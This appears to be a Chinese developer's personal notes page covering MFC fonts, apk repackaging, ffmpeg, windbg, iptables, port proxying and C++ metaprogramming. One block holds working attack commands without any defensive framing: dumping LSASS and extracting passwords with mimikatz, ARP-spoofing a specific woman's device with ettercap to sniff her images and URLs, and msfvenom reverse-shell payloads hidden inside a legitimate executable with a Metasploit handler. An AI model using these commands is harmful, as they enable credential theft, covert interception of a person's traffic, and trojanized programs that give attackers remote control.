CFont总是不能设置到HDC中

比如以下语句:

1
2
3
4
CFont font_;
font_.CreatePointFont(16 * 10, _T("微软雅黑"));
...
SelectObject(hdc, &font_);

编译后运行,在hdc上写的字根本没改变字体。很郁闷。
最后发现,要这样写:

1
SelectObject(hdc, font_.m_hObject);

或者这样写:

1
SelectObject(hdc, font_);

apk解包并二次封装

  1. 解包,从网上下载apktool.jar后执行
    1
    
    java -jar apktool.jar d eye_debug.apk
  2. 替换eye_debug文件夹的文件。
  3. 封包

    1
    
    java -jar apktool.jar b eye_debug -o eye_nosign.apk
  4. 签名

    1
    2
    3
    4
    5
    6
    7
    
    del eye_signed.apk
     
    set PATH=%PATH%;C:\Program Files\Java\jdk1.8.0_65\bin
     
    rem keytool -genkey -keystore bm.keystore -alias bm -keyalg RSA -validity 10000
     
    jarsigner -verbose -keystore bm.keystore -signedjar eye_signed.apk eye_nosign.apk bm

ffmpeg命令收集

转码
ffmpeg.exe -i %1 -vcodec h264 -s 1920x1080 -g 10 output.avi

转格式
ffmpeg.exe -i %1 -vcodec copy output.avi

改码率
ffmpeg -i in.avi -b 512K out.mp4

改文件大小
ffmpeg -i input.avi -fs 10MB output.mp4

看GOP
ffprobe.exe -show_frames 62_g10.avi | grep key_frame > 62_g10_k.txt
ffprobe.exe -show_frames 62_g10.avi | grep pict_type > 62_g10.txt
ffprobe.exe -show_frames -of xml sample.mp4 > probe.xml

只允许67访问
iptables -I INPUT -p tcp --dport 22 -j DROP; iptables -I INPUT -s 192.168.1.67 -p tcp --dport 22 -j ACCEPT
iptables-save

ssh与redis
https://www.toutiao.com/a6649866429325640205/

深度强化学习
https://github.com/keon/deep-q-learning
https://www.toutiao.com/a6664790347987550733/

MFC子窗口和父窗口
https://www.cnblogs.com/BeyondTechnology/archive/2011/03/25/1995934.html

procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
https://www.toutiao.com/a6674094119448478220/

基于文件过滤驱动的透明加密那点事儿
https://blog.csdn.net/orbit/article/details/9907335

1
2
3
4
5
6
#include <mcheck.h>
void mtrace(void);
void muntrace(void);
MALLOC_TRACE=out.log ./a.out
LD_DEBUG=help ./a.out
mtrace a.out out.log

https://blog.csdn.net/tsvico/article/details/79248788
echo 1 > /proc/sys/net/ipv4/ip_forward
zenmap
ettercap -G
女神的IP设置为目标1,路由器的IP设置为目标2
driftnet -i wlan0
urlsnarf -i wlan0
ufw disable
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.69 LPORT=4444 -e x86/shikata_ga_nai -i 5 -b '\x00' -x Depends.exe -f exe -o MyDepends2.exe
msfconsole
use exploits/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.69
run
msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.37 lport=4444 -f exe -o shell_stageless.exe

bat脚本获取当前文件所在目录
https://blog.csdn.net/tsvico/article/details/78050884

windbg
SRV*c:\temp*http://msdl.microsoft.com/download/symbols
!analyze -v
.load wow64exts
!sw
!heap –x 00ca3480
ub 0118188e L20
~2 s
k
dv
x MyModule!MyClass*
dps 014cb558
dt /b this
s -d 0 L?80000000 0x00cd5740
dt 0029f8b8 impClass
s -u 10000 L8000000 "hello"
!address 0728988a
.writemem d:\dump.txt 07288600 L2000
kdbgctrl -db
kdbgctrl -e
kd -kl
.reload
dt _DRIVER_OBJECT
u nt!ZwOpenKey
!process 0 0
dt nt!_eprocess
!irpfind
!pcr

二进制编辑
vim -b datafile
:%!xxd
R
:%!xxd -r
isatap Teredo

ulimit -c unlimited
echo "/tmp/core-%e-%p" > /proc/sys/kernel/core_pattern

/verbose:lib

JpegLib报错jpeg_read_header

jpeg文件的标准格式是文件内容的前两字节是0xFF和0xD8,而有的jpg后缀的文件内容前两个字节有可能为0x42和0x4D之类。

所以在用JpegLib库如jpegsr9c.zip读取jpg文件时,可能在jpeg_read_header处报错,或者程序退出,因为源码中遇到错误时就会调系统函数exit(1)。

因此,在调用Jpeg库之前,一定要检查jpg文件的头两个字节是否标准。

将视频文件变成RTSP流服务

http://ffbinaries.com/downloads下载ffserver到linux系统,

制作server.cfg文件如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
RTSPPort 5454
BindAddress 0.0.0.0
RTSPBindAddress 0.0.0.0
MaxHTTPConnections 2000
MaxClients 1000
MaxBandwidth 30000
CustomLog -
NoDaemon
#NoDefaults
 
<Stream test.mp4>
File "/home/sdb/work/stream/test.mp4"
Format rtp
</Stream>

命令行运行

1
./ffserver -f server.cfg

这样,任何地方,只要能连接到此linux系统,其IP地址为192.168.1.32,都可以播放

1
rtsp://192.168.1.32:5454/test.mp4

本机代理到虚拟机

由于局域网限MAC地址,VmWare虚拟机不能直接连接物理网络,只能NAT模式,那么怎么让别人的电脑连接到本机虚拟机里的服务程序呢?

比如虚拟机里的服务程序IP为192.168.38.132,端口为5454,

本机IP为192.168.1.67,现在我们做一个代理,让别人能访问到192.168.38.132:5454。

在本机,以管理员模式运行cmd,输入

1
2
3
4
5
netsh
interface
portproxy
 
add v4tov4 listenaddress=192.168.1.67 listenport=5454 connectaddress=192.168.38.132 connectport=5454

记住,再禁掉本机防火墙!
此时,别人的电脑就可以访问此虚拟机里的服务程序了。

当不再需要此代理时,在本机,以管理员模式运行cmd,输入

1
2
3
4
5
netsh
interface
portproxy
 
delete v4tov4 listenaddress=192.168.1.67 listenport=5454

注意:微软的netsh只能转发tcp包,没有实现转发udp包。

参考:https://blog.csdn.net/mergerly/article/details/50747930

linux关闭或开启网络端口

关闭80端口

1
iptables -A INPUT -ptcp --dport 80 -j DROP

而开启80端口要看情况,不能简单的一句

1
iptables -A INPUT -ptcp --dport 80 -j ACCEPT

因为其中的-A表示append一条规则到规则链上,之前存在一条DROP链,其后再加一条ACCEPT链,80端口还是会被禁掉。

先用如下命令看一下规则链

1
iptables -L

把DROP那一链删掉

1
2
iptables -D INPUT -ptcp --dport 80 -j ACCEPT
iptables -D INPUT -ptcp --dport 80 -j DROP

如果默认是所有端口都禁用,那就在空链里加一条ACCEPT链。

最后保存

1
iptables-save

元编程总结

编译期算结果C98示例:

1
2
3
4
5
6
7
template <int n> struct fact98 {
 static const int value = n * fact98<n - 1>::value;
};
template <> struct fact98<0> {
 static const int value = 1;
};
std::cout << fact98<5>::value << std::endl;

或C11的示例:

1
2
3
constexpr int fact11(int n) {
 return n <= 1 ? 1 : (n * fact11(n - 1));
}

C11中不能使用变量和循环,C14中可以:

1
2
3
4
5
constexpr int fact14(int n) {
 int s = 1;
 for (int i = 1; i <= n; i++) { s = s * i; }
 return s;
}

编译期检查1:

1
2
3
4
5
6
7
static_assert(sizeof(void *) == 8, "expected 64-bit platform");
 
template<typename T, int Row, int Column>
struct Matrix {
 static_assert(Row >= 0, "Row number must be positive.");
 static_assert(Column >= 0, "Column number must be positive.");
};

编译期检查2:

1
2
3
4
5
6
7
8
9
struct A {
void foo(){}
 int member;
};
template<typename Function>
std::enable_if_t<!std::is_member_function_pointer_v<Function>> foo(Function&& f) {
}
foo([] {}); //ok
foo(&A::foo); //compile error: no matching function for call to 'foo(void (A::*)())'

编译期检查3:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
template< class, class = void >
struct has_foo : std::false_type {};
template< class T >
struct has_foo< T, std::void_t<decltype(std::declval<T>().foo())> > : std::true_type {};
template< class, class = void >
struct has_member : std::false_type {};
template< class T >
struct has_member< T, std::void_t<decltype(std::declval<T>().member)> > : std::true_type {};
struct A {
 void foo(){}
 int member;
};
static_assert(has_foo< A >::value);
static_assert(has_member< A >::value);

refer to: https://www.toutiao.com/a6646250452335723021/

EuhatWorkTrace任务栏图标不见了

任务栏属性-〉通知区域-〉自定义,找到Expert/Euhat Work Trace图标,行为下拉框中选择“显示图标和通知”,确定保存,这样任务栏里WorkTrace图标就又显示出来了。

还有一种情况,当explorer.exe进程重启后,Euhat Work Trace或Euhat Expert通知区域的小图标也会消失,这时,要么双击程序exe,要么退出程序再启动。